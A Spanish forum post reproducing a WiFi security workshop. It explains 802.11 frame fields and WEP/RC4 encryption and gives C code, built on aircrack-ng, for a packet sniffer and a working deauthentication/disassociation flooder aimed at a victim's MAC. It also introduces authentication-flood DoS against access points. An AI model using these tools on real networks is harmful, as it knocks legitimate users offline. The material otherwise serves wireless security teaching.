Es un valor de 16 bits (2 bytes) de tal forma que si el bit 15 (el más significativo) está a cero el valor del resto  de bits será el valor con el que se inicializa NAV.

Es decir, NAV como mucho puede valer  2^15 =  32.768

O dicho de otra forma, el tiempo máximo que se puede reservar para la retransmisión de una trama es de 32.768 ¿qué?  Microsegundos.

Todas las estaciones de la red monitorizan las tramas y las cabeceras MAC's, de tal forma que durante la transmisión  de la trama de otro equipo, "leen" la duración de la misma y añaden ese tiempo extra como tiempo de contención antes  de enviar sus datos.

Además puede haber más información en el campo Duración, por ejemplo, si los bits 15 y 14 están a uno indica un modo  especial llamado PS-Poll que se usa en combinación de otros valores para la administración de energía y  "despertar" a las estaciones que lo implementan, para nuestro taller, sin utilidad por el momento.

Vale...y ahora que??

Pues como vamos a empezar con las Denegaciones de Servicio...porqué no usar alguna de estas  "características" para ello.

Por ejemplo, enviar tramas con una duración de 32.768 que dijimos que eran una treintavo de segundo...bueno pues  menudo DoS, no?? Jajaja,

Y si enviamos unos cientos (o miles) de paquetes de "esos" ?? Qué pasará?? Lo imaginas, no???

Y si inundamos la red con CTS/RTS???

Pues eso mismo, son ejemplos...no todo consiste en Disociar o Des-autenticar a los clientes, pueden existir y existen  "otras formas de fastidiar" sin necesidad de echar a la gente a patadas :D

Después de esta explicación pasaremos a la práctica ;)


==============================================


Practicando DoS en 802.11

1.- La base de los programas que usaremos.
2.- Creación de un esnifer sencillo
3.- Envío de tramas de desautenticación/disociación
4.- Inundación RTS/CTS con duración manipulada

[size=18]1.- La base de los programas que usaremos.[/size]

Vamos a usar "parte" del código fuente de la suite de aircrack-ng para adaptarlos a nuestros ejemplos,  así el trabajo "duro" ya está hecho y de paso, vamos comprendiendo cómo esta gente llegó a donde ha llegado...

Estos scripts no son nada modulares ni "exportables", no contemplan los numerosos errores de programación que  seguro que tienen, igualmente seguro que "sobran" porciones de código, pero caray!! Que esto no es un curso  de C, así que perdonad por la falta de rigor en la programación y centrémonos en su funcionamiento...

Usaremos airodump-ng para "husmear" el medio y luego iremos afinando los ejemplos que nos ocupan.

También es conveniente que estés familiarizado con algún esnifer.

Lo primero nos descargaremos la suite de aircrack-ng y la instalamos:

http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz

tar xvfz aircrack-ng-1.0-rc3.tar.gz
cd  aircrack-ng-1.0-rc3
cd src
make unstable=true


En este punto ya podemos usarla...pero veamos nuestro primer programa:

2.- Crear un pequeño esnifer para examinar el tráfico. Programa  [/b]wifiesnif.c[/size]

En este ejemplo haremos lo siguiente:
    *   Abrir la tarjeta inalámbrica para poder capturar y enviar paquetes (el envío en este ejemplo no está  implementado)
    *   Capturar paquetes en el aire
    *   Mostrar los paquetes capturados
    *   Analizar el campo Frame Control de la cabecera MAC
Este mismo script podríamos usarlo para ir "mas allá", para analizar todo el paquete, los datos, el tipo de cifrado,  etc...pero para que no sea muy largo lo dejé tan sólo en:
    *   Obtener los bytes de FC
    *   Mostrar si se trata de un FromDS, toDS, WDS ó ad-hoc
    *   Mostrar el tipo de trama: Administración Datos o Control
    *   Averiguar si se trata de un paquete cifrado o no
Se podrían implementar nuevas consultas, todas la que  desees, luego te "pongo deberes"

Te recuerdo que existirán líneas del tipo #include, #define y otras que pueden no ser necesarias, están porque poco  a poco irá creciendo el programa y se necesitarán más adelante.

Veamos lo "básico" del código:

Función dump_packet

void dump_packet(unsigned char* packet, int len) // volcado de paquetes a pantalla
{
   int i=0;
printf("\n");
   for(i=0; i<len; i++)
   {
       if(i>0 && i%4 == 0)printf(" ");
       if(i>0 && i%16 == 0)printf("\n");
       printf("%02X ", packet[i]);
   }
   printf("\n");
}


La utilizaremos para mostrar por pantalla el/los paquetes capturados

Función read_packet

int read_packet(void *buf, size_t count, struct rx_info *ri) // leer paquetes Wifi
{
   struct wif *wi = _wi_in; /* XXX */
   int rc;
   rc = wi_read(wi, buf, count, ri);
   if (rc == -1) {
       switch (errno) {
       case EAGAIN:
               return 0;
       }

       perror("wi_read()");
       return -1;
   }

   return rc;
}


Se encarga de capturar el tráfico y retorna como valor el tamaño del paquete leído

Estas dos funciones anteriores son prácticamente las mismas que usan la suite de aircrack.

Función captura_datos_FC

int captura_datos_FC( int caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
   char elegido[1];
   int otromas, estado;
   caplen=0;
   while( 1 )
   {
caplen = read_packet( h80211, sizeof( h80211 ), NULL );
if(caplen <= 0) continue; // si la longitud no es válida. no se capturaron paquetes
dump_packet (h80211,caplen);
printf( "\nPulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?" );
       otromas=0;
       while(otromas==0) otromas = scanf( "%s", elegido );

usleep(300);

if( elegido[0] != 's' && elegido[0] != 'S' ) continue;

printf ("\n\tFrame Control: %02X:%02X\n", h80211[0],h80211[1]); //muestra los 2 bytes de FC
estado=h80211[1] & 0x3; // Valores de FromDS y toDS (0,1,2,3)
switch (estado) {
case 0: // comunicacions adhoc y tramas de control/administración
printf ("\t......FromDS  : 0\n");
printf ("\t......toDs    : 0\n");
break;
case 1: // paquete con dirección HACIA el sistema de districubión
printf ("\t......FromDs  : 0\n");
printf ("\t......toDS    : 1\n");
break;
case 2: // paquete enviado DESDE el sistema de distribución
printf ("\t......FromDs  : 1\n");
printf ("\t......toDS    : 0\n");
break;
case 3: // paquete enviado en WDS
printf ("\t......FromDS  : 1\n");
printf ("\t......toDs    : 1\n");
break;
}

// Comprobamos el tipo de trama (datos, administración o control)
if ((h80211[0] & 0x0C) == 0x08)
printf ("\t......Trama   : de DATOS\n");

if ((h80211[0] & 0x0C) == 0x00)
printf ("\t......Trama   : de ADMINISTRACION\n");

if ((h80211[0] & 0x0C) == 0x04)
printf ("\t......Trama   : de CONTROL\n");

// Averiguamos si se trata de un paquete con el bit de cifrado activado
if ((h80211[1] & 0x40) == 0x40) {
printf ("\t......Cifrado:  SI\n");
}
else
{
printf ("\t......Cifrado : NO\n");
    }
}

   return( caplen );
}


Esta función analiza el paquete capturado mediante read_packet usando un array llamado h80211[4096] como contendor  de los bytes en hexadecimal que se han leído.

De esta forma, por ejemplo, los valores de Frame Control estarán en h80211[0] y en h80211[1], la duración en  h80211[2] y h80211[3], etc...

Creo que con los comentarios incluidos en el propio código fuente es suficiente para que lo comprendamos a estas  alturas, no??

Y por último, la función main que es el inicio del programa:

int main( int argc, char *argv[] ) // inicio del programa
{
   int caplen;

//Comprueba el paso de parámetros
  if( argc != 2 ) {
    printf("\nUso: wifiesnif interface\n\nEjemplo: wifiesnif wlan0\n\n");
       exit( 0 );
   }

/* Abrir Interface wifi para enviar/recibir tráfico */

    opt.iface_out = argv[1];
   _wi_out = wi_open(opt.iface_out);
   if (!_wi_out)
           return 1;
   dev.fd_out = wi_fd(_wi_out);
   _wi_in = _wi_out;
   dev.fd_in = dev.fd_out;
   dev.arptype_in = dev.arptype_out;
   wi_get_mac(_wi_in, dev.mac_in);
   wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */

  setuid( getuid() );

/***************************************/
/* Llamada al esnifer                  */
/***************************************/
caplen=0;
caplen=captura_datos_FC(caplen);

exit(0);
}


Vamos, está claro lo que hace, no??

No hay que preocuparse de si sabemos lenguaje C o no, vamos no importa tanto cómo abrir la interface wifi, pero sí  es importante que comprendas bien la función captura_datos_FC y cómo se averiguan los estados de toDS, FromDS, wep,  etc...

El código completo lo tienes aquí: http://www.megaupload.com/?d=0SMDIKFJ

Guárdalo junto con los otras fuentes de aircrack (así será mas fácil compilarlo) por ejemplo con el nombre  wifiesnif.c

Para compilarlo:

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o wifiesnif.o wifiesnif.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude wifiesnif.o common.o crypto.o -o  wifiesnif -Losdep -losdep   -lssl -lcrypto


y ya está, lo lanzamos::

bt src # wifiesnif eth1

Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?n

08 41 1C 00  00 16 B6 41  03 5D 00 17  9A C3 D6 B9
00 16 B6 41  03 5B 80 88  2A 21 00 00  13 F5 7C F2
C5 E5 15 9D  CA 7C B1 17  09 25 84 05  1D 55 92 59
F0 95 43 2B  54 1F A2 41  B1 24 E1 F8  A5 47 7D 58
04 6C A4 AF  AB BC 27 C2  D9 31 E2 03  6E 7B CC F1
24 AE D0 0B  D9 F1 1A 25  E4 2D EE DC  0B C9 45 48
55 6D 58 55

Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s

Frame Control: 08:41
......FromDs : 0
......toDS   : 1
......Trama  : de DATOS
......Cifrado: SI

D4 00 00 00  00 17 9A C3  D6 B9

Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s

Frame Control: D4:00
......FromDS : 0
......toDs   : 0
......Trama  : de CONTROL
......Cifrado: NO

... .
... .



3.- Denegación de Servicios mediante el envío de tramas de Disociación o  desautenticación.

Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes  asociados.

Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script  con los parámetros adecuados.

Supongamos que lanzamos airodump mas o menos así

bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D

CH  1 ][ Elapsed: 0 s ][ 2009-07-14 09:47

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:16:B6:41:03:5D   78   0       16        2    0   1  48  WEP  WEP         TallerWIFI

BSSID              STATION            PWR  Lost  Packets  Probes

00:16:B6:41:03:5D  00:17:9A:C3:D6:B9   75     0        2


Allí vemos las macs del punto de acceso (BSSID) y de la víctima (STATION) que luego tendremos que pasarlas a nuestro  programa, que le he llamdo dos01.c

En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red...esta es:  send_packet

int send_packet(void *buf, size_t count) // envio de paquetes WiFi
{
struct wif *wi = _wi_out;
if (wi_write(wi, buf, count, NULL) == -1) {
switch (errno) {
case EAGAIN:
case ENOBUFS:
usleep(10000);
return 0;
}

perror("wi_write()");
return -1;
}
return 0;
}



ChimoC

Y también la función main cambia con respecto al anterior, esta es:

int main( int argc, char *argv[] ) // inicio del programa
{
    int z;

//Comprueba el paso de parámetros
   if( argc != 2 ) {
    printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */

   setuid( getuid() );

unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DISO[26];

// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso --------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);

printf ("\nEscribe la MAC de la Estación a Disociar --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);

/***************************************/
/* Construimos la trama de Disociación */
/***************************************/

// FRAME CONTROL bytes 0 y 1
DISO[0]=0xA0; // Esto es Disociación!!! también podemos usar 0xC0 que sería desautenticación!!!
DISO[1]=0x00;

// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C
DISO[2]=0X3c;
DISO[3]=0X02;

// MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9)
for (z=0;z<6;z++) DISO[4+z]=mac_cl[z];

// MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15)
for (z=0;z<6;z++) DISO[10+z]=mac_ap[z];

// MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIÓN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21)
for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];

// Número de Fragmento y número de secuencia bytes 22 y 23
DISO[22]=0x00;
DISO[23]=0x00;

// Razón y Estado de la disociación bytes 24 y 25
DISO[24]=0x04; // La razón 4 significa: El tiempo de inactividad expiró y la estación fue disociada.
DISO[25]=0x00; // Estado 0 significa:   satisfactorio

// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");

dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado

printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");

z=1;
while(1)
{
send_packet(DISO,26); usleep(20000);
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
}

exit(0);
}


Al igual que antes, hay muy poco que explicar ya que los comentarios en el código hablan por sí mismos... observa  cómo se construye la trama "mal intencionada" y que se almacena en un array que he llamado DISO[]

Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.

Para compilarlo

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o dos01.o dos01.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude dos02.o common.o crypto.o -o dos02  -Losdep -losdep   -lssl -lcrypto


Y antes de despedir esta parte... los deberes.
    *   Modificar el código de wifiesnif.c para que nos diga (en el caso de que el paquete esté cifrado) con qué  tipo de cifrado nos topamos, esto es que diga si es WEP o WPA. (tendrás que investigar un poco por tu cuenta)
    *   Modificar el código de wifiesnif.c para que nos diga si se trata de una trama QoS siempre que sea una trama  de datos

=========================================




Muchas gracias Vic_Thor por el bbcode y por hacernos disfrutar con las explicaciones.

Un saludo

ChimoC

#2
WEP (Wired Equivalent Privacy, Privacidad Equivalente al Cable)

WEP es uno de los métodos utilizados para cifrar las comunicaicones inalámbricas.

Es un algoritmo opcional, nada ni nadie obliga su utilización y si bien como veremos en este mismo apartado, es francamente vulnerable por todas partes, utilizar WEP siempre será mejor que nada.

Desde los inicios del estándar 802.11 se ha mantenido sin cambios a medida que aparecieron nuevas revisiones de los mismos (802.11a, 802.11b) precisamente para garantizar la compatibilidad entre los distintos fabricantes.

Está implementado en la totalidad de las tarjetas inalámbricas (y puntos de acceso)  y en muchos casos a nivel de MAC no sólo por software.

El cifrado de datos no garantiza el proceso de autenticación, esto es, podemos utilizar un sistema de cifrado de datos (como WEP) con autenticación "abbierta" o mediante clave compartida.

En el modo abierto una estación que recibe una solicitud de comunicación puede conceder la autorización de acceso a la red a cualquiera o sólo aquellas que estén incluidas en una "lista blanca", esa lista blanca no es otra cosa que una relación de MAC's de las estaciones  a las que les está permitido el acceso a la red, o como lo conocemos de una forma mas coloquial, un filtrado de MAC.

Por tanto, en el modo abierto tenemos dos formas de autorización:
    • abierta y sin autorización
    • abierta y con filtrado de MAC
.En un sistema de clave compartida, sólo aquellas estaciones que posean una llave cifrada serán autenticadas antes de proceder al cifrado o la comunicación.

El sistema de autenticación puede ser un equipo externo (un servidor de autenticación tipo RADIUS; AAA, etc..) y en otras ocasiones puede ser el mismo punto de acceso.

Ni que decir tiene que un sistema de autenticación mediante clave compartida (ya sea WEP u otros) es mas seguro que un sistema en modo abierto.

Recuerda: La autenticación es un paso diferente al cifrado.

Cuando se utiliza un cifrado (como WEP) y un sistema de claves compartidas (un sistema de autenticación) decimos que es una red en modo seguro.

De lo anterior deducimos que el cifrado es la forma adecuada de proteger los datos a transmitir y que la autenticación es la forma adecuada de validar qué estaciones tienen acceso al medio para poder transmitir, ambos en conjunto, implementan un sistema seguro.

WEP se desarrolló para garantizar la confidencialidad e integridad de los datos en los sistemas WLAN basados en el estándar 802.11, así como para proporcionar control de acceso mediante mecanismos de autenticación. Consecuentemente, la mayor parte de los productos WLAN compatibles con 802.11 soportan WEP como característica estándar opcional.

El Cifrado WEP.

WEP utiliza una clave secreta compartida entre una estación inalámbrica y un punto de acceso. Todos los datos enviados y recibidos entre la estación y el punto de acceso pueden ser cifrados utilizando esta clave compartida.

El estándar 802.11 no especifica cómo se establece la clave secreta, pero permite que la existencia una tabla que asocie una clave exclusiva con cada estación. En la práctica general, sin embargo, una misma clave es compartida entre todas las estaciones y puntos de acceso de un sistema dado.

Para proteger el texto cifrado frente a modificaciones no autorizadas mientras está en tránsito, WEP aplica un algoritmo de comprobación de integridad (CRC-32) al texto en claro, lo que genera un valor de comprobación de integridad (ICV) que se añade al final de cada trama a transmitir.

Nota aclaratoria acerca del ICV (ó CRC32)

En muchos lugares (libros, webs, foros, etc..) encontrarás que unos dicen que el ICV es el CRC32 de los datos sin cifrar a transmitir, otros dicen que el ICV es el CRC32 del contenido de los datos sin cifrar al que se le aplica el algoritmo RC4, en otros encontrarás que el ICV es el CRC32 de los datos sin cifrar al que se le aplica el un keystream (un flujo de bytes resultante del algoritmo RC4).

Ya... igual es un poco trabalenguas, te pongo una imagen de los tres casos para que observes bien las diferentes afirmaciones:

Caso a) El ICV es el CRC de los datos a transmitir sin cifrarry se añade al final de los datos cifrados.



Caso b) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica el algoritmo RC4 y que se añade al final de de los datos cifrados.



Caso c) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica un keystream resultante del algoritmo RC4 y que se añade al final de los datos cifrados.



Lo que está claro es que el ICV es el CRC32 de los datos a transmitir si cifrar y también está claro que se añaden al final del paquete cifrado... pero...

¿Se añaden "sin mas"? (caso a)

¿Se añaden tras aplicarle RC4? ) (caso b?

¿Se añaden tras aplicarle un keystream de RC4? (caso c)

¿Cual es el "bueno"?


Primero tendemos que aclarar que el CRC32 NO es un mecanismo de "seguridad", mas bien es un mecanismo de comprobación... para comprobar que el contenido de "algo" a enviar es el contenido de "ese algo" recibido.

No es particular de WEP, ni mucho menos, se aplica a numerosos formatos, escritura de archivos, ficheros zip, imágenes, SSL, etc... es sencillamente eso, una forma de constatar que no hubo errores en la operación (escritura, envío, compresión, etc..) y en algunos casos también podemos "recuperar" parte de la información dañada recalculando el CRC...

Otra cosa importante es que el CRC32 se calcula SIEMPRE sobre los DATOS y NUNCA sobre la cabecera, es decir, la parte correspondiente al Frame Control, duración, MAC's, número de secuencia y QoS (si lo hay) no se incluyen en el CRC32.

Además, tenemos que añadir "otro elemento" al cifrado WEP, el IV (o Vector de Inicialización)

Este IV se añade al final de la cabecera MAC y son 4 bytes.... Este IV TAMPOCO forma parte del CRC32.

La trama a enviar de un paquete WEP tendría esta forma más o menos:



De los cuales sólo la zona amarilla es el resultado de aplicar el algoritmo RC4 a los datos sin cifrar y que (obviamente) da como resultado los datos cifrados.

Según esta afirmación podríamos asegurar que la respuesta a la pregunta que nos estamos haciendo es la a)
    Esto quiere decir que
si utilizamos el mismo IV y los mismos datos a transmitir el ICV será siempre el mismo.

También, quiere decir que si usamos diferentes IV's  y los mismos datos a transmitir, el ICV también debería se el mismo para todos los paquetes... si haces la prueba verás que NO es así.[/list]Es cierto que para un mismo IV y mismos datos a trasmitir, el ICV es el mismo... pero si el IV "cambia" aunque los datos a transmitir sean los mismos, el ICV TAMBIÉN cambia.

Bueno, pues no alarguemos mucho mas esto....  La solución correcta es la c)

El caso b) tiene "trampa" y es que tras obtener RC4 se aplica un keystream al CRC32 calculado, por eso la confusión.

Por tanto, para generar un paquete (completo) cifrado con WEP la imagen correcta es esta:



Pero recuerda que el resultado (los datos cifrados) son un flujo (un keystream) resultante de aplicar RC4 al contenido del paquete a enviar en texto plano + su checksum (CRC32). A cada byte en plano se le aplica un byte del keystream obtenido que dará como resultado un byte cifrado.

Vemos que la cabecera MAC y el IV se transmiten en plano, mientras que los datos y el CRC32 se cifran con RC4

También hay que añadir que se si se utilizase un sistema de autenticación, habría cambios en la cabecera MAC puesto que se cifraría con la clave compartida... quedaría así:



De momento nos vamos a olvidar de los sistemas de autenticación, daremos por hecho que el sistema es abierto y cifrado con WEP.

Para comprender mejor el cometido del IV en este escenario, primero tenemos que hablar de RC4 y cómo lo aplica WEP.

Algoritmo RC4

Aunque desarrollado por RSA security, no hay que confundir RC4 con RSA.

Como muchos hemos aprendido, RC4 tiene una historia curiosa puesto que desde que se inventó (allá por el año 1987)  hasta el día de hoy no ha sido liberado su código... parece ser que 7 años después de su creación, apareció el código fuente publicado en una lista de correo, y es con esta "liberación forzada"  por lo que conocemos el funcionamiento del mismo.

RC4 genera un flujo pseudoaleatorio de bits (un keystream) que se combina con el texto plano usando la función XOR.

Es un cifrado simétrico (ambos extremos poseen la misma clave para cifrar y descifrar el mensaje) y genera el mismo número de bytes cifrados que los existentes en el texto plano (no te olvides que hay que añadir el CRC32 como parte del texto a cifrar)

Por eso se llama de "flujo", el tamaño del texto cifrado es idéntico al tamaño del texto resultante del cifrado, esto no ocurre con otros tipos de cifrado como pueden ser los de bloques.

El motivo de utilizar RC4 en WEP es por su simplicidad de cálculo en los procesos, si las redes inalámbricas ya tienen que competir con los esfuerzos de una transmisión rápida, colisiones, acceso compartido al medio, etc.. si le añadimos un algoritmo de cifrado que ocupe mucho tiempo en calcularse  o que genere un tamaño de texto cifrado mucho mas grande, la comunicación sería muy lenta.

Cómo funciona WEP
    * Utiliza RC4 para el cifrado de datos+CRC32
    * Uso llaves  de 64,128,256 bits.
    * Estas llaves se genera a partir de una passphrase automáticamente.
    * La llave o passphrase deben conocerla todos los clientes
Generación de llaves:

Las llaves realmente son de 40, 104 y/o 232 bits!!! Puesto que 24 bits son para el IV

Pongamos un ejemplo para claves de 40 bits.

Supongamos que el passphrase elegido para el cifrado de la red WEP es: currupipimix0



Como ves en la tabla, se realizan operaciones XOR entre los diferentes valores en hexadecimal de passphrase y se obtiene una semilla (seed) de 4 bytes:

63 XOR 75 XOR 69 XOR 30 = 3F
75 XOR 70 XOR 6D = 68
72 XOR 69 XOR 69 = 72
72 XOR 70 XOR 78 = 7A


Esta semilla (3F 68 72 7A) la usará PRGN (un generador de números pseudoaleatorios)  para generar 40 cadenas de 32 bits que a su vez se escogerá un bit para generar 4 llaves de 40 bits, de las que habitualmente sólo usaremos una de ellas. Esta será la clave WEP a utilizar.

Esto es lo que llamaremos más adelante KSA + PRGN.

De estos valores KSA y PRGN, se consigue el IV al que se le añade el "key index" (número de clave que está siendo usada) y se le pasan a RC4 para que genere el keystream del texto en plano.

De nuevo una figura es "más cómodo" para entenderlo:



Para descifrar el paquete recibido:
    • El receptor extrae el IV que se envía inmediatamente después de la cabecera MAC.

    • Examina el "key index" y escoge la clave apropiada.

    • Como "conoce" la clave secreta , el key index de la llave escogida y el IV, puede generar su propio keystream.

    • Realiza una operación XOR entre los datos recibidos y el keystream calculado, de tal forma que obtiene los datos en plano.

    • Calcula el CRC32 de los mismos y lo comprueba haciendo también un XOR del ICV recibido con el keystream de los bytes correspondientes.

    • Si el CRC32 concuerda, procesa los datos, en caso contrario los descarta.
De esto desprendemos que:

Texto plano XOR texto cifrado = keystream

Si conocemos dos de esos tres valores podemos obtener el tercero, obvio, claro... pero ya veremos mas adelante que esto es muy útil.

SNAP y LLC

Hasta ahora hemos hablado de datos en texto plano (los datos a enviar) y datos cifrados (lo que realmente se envía tras realizar las operaciones con  RC4, keystream, llaves, etc..)

Pero hay algo importante que se debe conocer: A los datos en texto plano se les "antepone" una cabecera nueva... lo que se llama la subcapa LLC ó SNAP.

Esto es un control de enlace, para el caso que nos ocupa, esta cabecera SNAP permite usar los datos Ethernet con los valores de 802.11,, de este modo pueden operar "entre ellos".

El estándar dice que deben comenzar por 0xAA, en la práctica y siguiendo con el caso de las redes inalámbricas, la cabecera SNAP y/o subcapa LLC suele tener estos valores:
    AA AA 03 00 00 00; 6 bytes para comunicaciones sin el protocolo Spanning-tree (usado por vlans)

    42 42 03 00 00 00: 6 bytes para las comunicaciones en los que Spanning-tree está activado.[/list]Puedes averiguar mas información acerca de la subcapa LLC y SNAP en:

    http://es.wikipedia.org/wiki/IEEE_802.2

    O sea, que a los datos a transmitir en texto plano se les anteponen 6 bytes para la cabecera SNAP/LLC. De tal forma que si queremos transmitir algo así:

    08 06 00 01 08 00 06 04 00 02 ......... (esto es un ARP Response)

    Realmente se envían:

    AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 02 ......... (esto es un ARP Response)

    A decir verdad, lo que sería la cabecera SNAP/LLC sería (para este ejemplo):

    AA AA 03 00 00 00 08 06

    Y los datos:

    00 01 08 00 06 04 00 02 ...

    Es decir, la cabecera SNAP/LLC son los consabidos 6 bytes + 2 primeros bytes de los datos a enviar (estos dos bytes definen el protocolo que se usará, ARP, IP, etc..)

    Por tanto, tanto RC4 como el keystream hay que calcularlo de la cabecera SNAP + Datos en texto plano!!!

    Ejemplo de la captura de un esnifer  de un paquete ARP RESPONSE sin la cabecera SNAP (paquete capturado desde una interface ethernet)



    Ejemplo de la captura de un esnifer  de un paquete ARP REQUEST junto con  la cabecera SNAP (paquete capturado desde una interface 802.11)



    Como ves en la pantalla anterior, LLC se antepone a los datos a enviar.

    Bueno, y al margen de WEP, hay que señalar una cuestión especial...

    ¿No ves nada "extraño" en esta captura?

    Seguro???


    Fíjate bien... Durante todo este Taller, venimos diciendo que el protocolo 802.11 comienza por un FC, etc... (lo que llamamos la cabecera MAC) y según la captura anterior, y si observas bien la pantalla, verás que ANTES de la encapsulación IEE 802.11 aparece una "cosa" que dice AVS WLAN Monitoring Header

    Y si te fijas aún mas, veras que es en la posición 0x40 donde realmente comienza el FC y la cabecera MAC.

    ¿Qué son los 0x40 (64 bytes) anteriores??

    Esto nos ocurrirá cuando utilicemos tarjetas Prism!!! Este tipo de tarjetas WiFi añaden una cabecera propia de 64 bytes a toda la trama...

    Uff, esto puede ser un problema (que realmente no lo es tanto) pero nos puede dificultar las explicaciones, resulta que si usamos Prism, la cabecera MAC comienza en la posición +64 bytes del paquete mientras que si no usamos Prism, comienza el la posición +0.

    Podemos resolverlo de un plumazo.... (desde Linux) , si antes de usar los programas de captura, esnifers, airodump, etc, etc... ejecutamos esto:

    iwpriv set_prismhdr 0

    Desactivamos las cabeceras prism...



    Ahora ya no aparece eso del AVS WLAN Monitoring... y la cabecera MAC comienza en la posición cero como hemos venido estudiando.

    Autenticación con WEP:

    El proceso de autenticación precede al de envío de datos, antes de poder enviar información por la red debemos estar autenticados y asociados...

    Si usamos WEP como cifrado en modo seguro (esto es, cifrado + clave compartida) el proceso de autenticación es así:
      Cuando una estación trata de conectarse con un punto de acceso, éste
    le envía un texto aleatorio, que constituye el desafío (challenge).

    La estación debe utilizar la copia de su clave secreta compartida para cifrar el texto de desafío y devolverlo al punto de acceso, con el fin de autenticarse.

    El punto de acceso descifra la respuesta utilizando la misma clave compartida y compara con el texto de desafío enviado anteriormente.

    Si los dos textos son idénticos, el punto de acceso envía un mensaje de confirmación a la estación y la acepta dentro de la red.

    Si la estación no dispone de una clave, o si envía una respuesta incorrecta, el punto de acceso la rechaza, evitando que la estación acceda a la red.[/list]

    En el caso de que usemos WEP en modo abierto, (sin el uso de claves compartidas) podremos autenticarnos (no asociarnos), no podremos enviar datos puesto que desconocemos la clave wep y lo que recibamos tampoco "lo entenderemos" puesto que está cifrado.

    Resumen:
      1º) El cliente escoge la clave WEP para acceder a la red con la que se quiere asociar

      2º) Se genera un IV (Vector de Inicialización) "aleatorio"

      3º) Se añade es IV inmediatamente después de la cabecera MAC

      4º) se combina el IV con la clave wep elegida y se cifran mediante RC4,

      5º)  se obtiene un keystream resultante del cifrado con RC4

      6º) Se toman los datos a enviar en texto plano, anteponiendo SNAP y calculando un CRCR32 de todo (LLC+SNAP+Datos)

      7º) se realiza una operación XOR entre el keystream obtenido en el paso 5º) y los datos en texto plano del paso 6º) y el resultado se añade a continuación del IV en la trama de datos.

      8º) El CRC de 32 bits dará como resultado un ICV (Control o Comprobación de Vector de Inicialización)

      9º) Se añade ese ICV al final del paquete y se termina con la construcción del paquete cifrado de datos.

    Un par de ejemplos de Denegación de Servicio con WEP.

    Antes de ponernos a analizar "más afondo" cuales son las debilidades de WEP, vamos a realizar dos ejercicios del tipo DoS para empezar a entender por dónde vienen los tiros...

    El primero es un ataque de Denegación de servicio contra Puntos de Acceso, casi todos los ataques DoS se centran en los clientes, aquí vamos a "probar" nuestros puntos de acceso y/o routers inalámbricos.

    El segundo es una "maldad", basado en el mismo principio, vamos a desautenticar a "todo bicho viviente" que aparezca al alcance....

    [size=18]Probando la resistencia de un punto de acceso.[/size]

    Como ya he dicho, esto puede ser una prueba útil para que compruebes la resistencia de tu punto de acceso contra desbordamiento de recursos...

    La idea es muy simple, si usamos una autenticación abierta, ya hemos comentado en la parte de teoría que nos podemos autenticar...

    Hasta aquí todo bien... pero y si en lugar de autenticar una estación (una MAC) autenticamos.... 5000, 10000.... En unos segundos???

    Pues esto es lo que hace este pequeño programita... autenticar cientos de estaciones por segundo, el resultado final será un consumo excesivo de los recursos del punto de acceso o router inalámbrico y denegación de servicio al canto.

    En ocasiones puede incluso hasta afectar a todo el sistema en general, con lo que en routers domésticos podemos dejar sin comunicación no sólo a los clientes inalámbricos, también a los de cable, Internet, etc...

    Como siempre en el código fuente del programa he intentado explicar con detenimiento todo el proceso:

    Como en los otros ejercicios, se utiliza la función send_packet que nos permite enviar paquetes por la interface Wifi que dispongamos y dump_packet para "ver" la trama que enviamos...

    La parte que nos interesa es esta:


    ...
    ...
